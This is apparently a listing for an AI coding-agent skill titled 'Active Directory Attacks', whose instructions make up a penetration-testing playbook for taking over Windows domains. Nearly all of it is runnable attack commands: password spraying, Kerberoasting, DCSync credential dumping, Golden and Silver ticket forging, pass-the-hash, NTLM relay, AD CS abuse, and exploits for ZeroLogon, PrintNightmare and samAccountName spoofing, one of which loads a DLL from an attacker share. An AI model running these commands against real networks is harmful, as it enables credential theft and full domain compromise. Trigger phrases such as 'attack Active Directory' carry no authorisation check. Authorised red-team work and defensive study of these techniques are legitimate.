Active Directory Attacks

zebbern/active-directory-attacks

This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.

This is a copy. The original lives at comeonoliver/active-directory-attacks.

5k tokens

context cost

the whole folder, loaded on every use

files

instructions only

copies elsewhere

how many repositories repackaged it

4468

stars on the repo

on the repository, not the skill itself

Install

one command, takes just this skill from the repository

npx skills add https://github.com/zebbern/claude-code-guide --skill active-directory-attacks

What comes with it

9 996 bytes besides the instruction

references/advanced-attacks.md

The instruction itself

36 sections, as written by the author

Active Directory Attacks

Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Inputs/Prerequisites

Kali Linux or Windows attack platform
Domain user credentials (for most attacks)
Network access to Domain Controller
Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Outputs/Deliverables

Domain enumeration data
Extracted credentials and hashes
Kerberos tickets for impersonation
Domain Administrator access
Persistent access mechanisms

Essential Tools

| Tool | Purpose |

|------|---------|

| BloodHound | AD attack path visualization |

| Impacket | Python AD attack tools |

| Mimikatz | Credential extraction |

| Rubeus | Kerberos attacks |

| CrackMapExec | Network exploitation |

| PowerView | AD enumeration |

| Responder | LLMNR/NBT-NS poisoning |

Core Workflow

Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>

Step 2: AD Reconnaissance with BloodHound

# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Step 3: PowerView Enumeration

# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth

Credential Attacks

Password Spraying

# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

Extract service account TGS tickets and crack offline:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication":

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt

DCSync Attack

Extract credentials directly from DC (requires Replicating Directory Changes rights):

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberos Ticket Attacks

Pass-the-Ticket (Golden Ticket)

Forge TGT with krbtgt hash for any user:

# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

Silver Ticket

Forge TGS for specific service:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

Pass-the-Hash

# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

OverPass-the-Hash

Convert NTLM hash to Kerberos ticket:

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

NTLM Relay Attacks

Responder + ntlmrelayx

# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf

# Start relay
ntlmrelayx.py -tf targets.txt -smb2support

# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

SMB Signing Check

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

Certificate Services Attacks (AD CS)

ESC1 - Misconfigured Templates

# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# Exploit ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - Web Enrollment Relay

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Critical CVEs

ZeroLogon (CVE-2020-1472)

# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Extract hashes
secretsdump.py -just-dc domain.local/DC01\[email protected] -no-pass

# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

PrintNightmare (CVE-2021-1675)

# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'

samAccountName Spoofing (CVE-2021-42278/42287)

# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

Quick Reference

| Attack | Tool | Command |

|--------|------|---------|

| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |

| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |

| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |

| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |

| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |

| Spray | kerbrute | kerbrute passwordspray -d domain users.txt Pass |

Constraints

Must:

Synchronize time with DC before Kerberos attacks
Have valid domain credentials for most attacks
Document all compromised accounts

Must Not:

Lock out accounts with excessive password spraying
Modify production AD objects without approval
Leave Golden Tickets without documentation

Should:

Run BloodHound for attack path discovery
Check for SMB signing before relay attacks
Verify patch levels for CVE exploitation

Examples

Example 1: Domain Compromise via Kerberoasting

# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Use cracked service account
psexec.py domain.local/svc_admin:[email protected]

Example 2: NTLM Relay to LDAP

# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. Use created machine account for RBCD attack

Troubleshooting

| Issue | Solution |

|-------|----------|

| Clock skew too great | Sync time with DC or use faketime |

| Kerberoasting returns empty | No service accounts with SPNs |

| DCSync access denied | Need Replicating Directory Changes rights |

| NTLM relay fails | Check SMB signing, try LDAP target |

| BloodHound empty | Verify collector ran with correct creds |

Additional Resources

For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md.

How to use it

Copy the folder

Take zebbern/active-directory-attacks from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.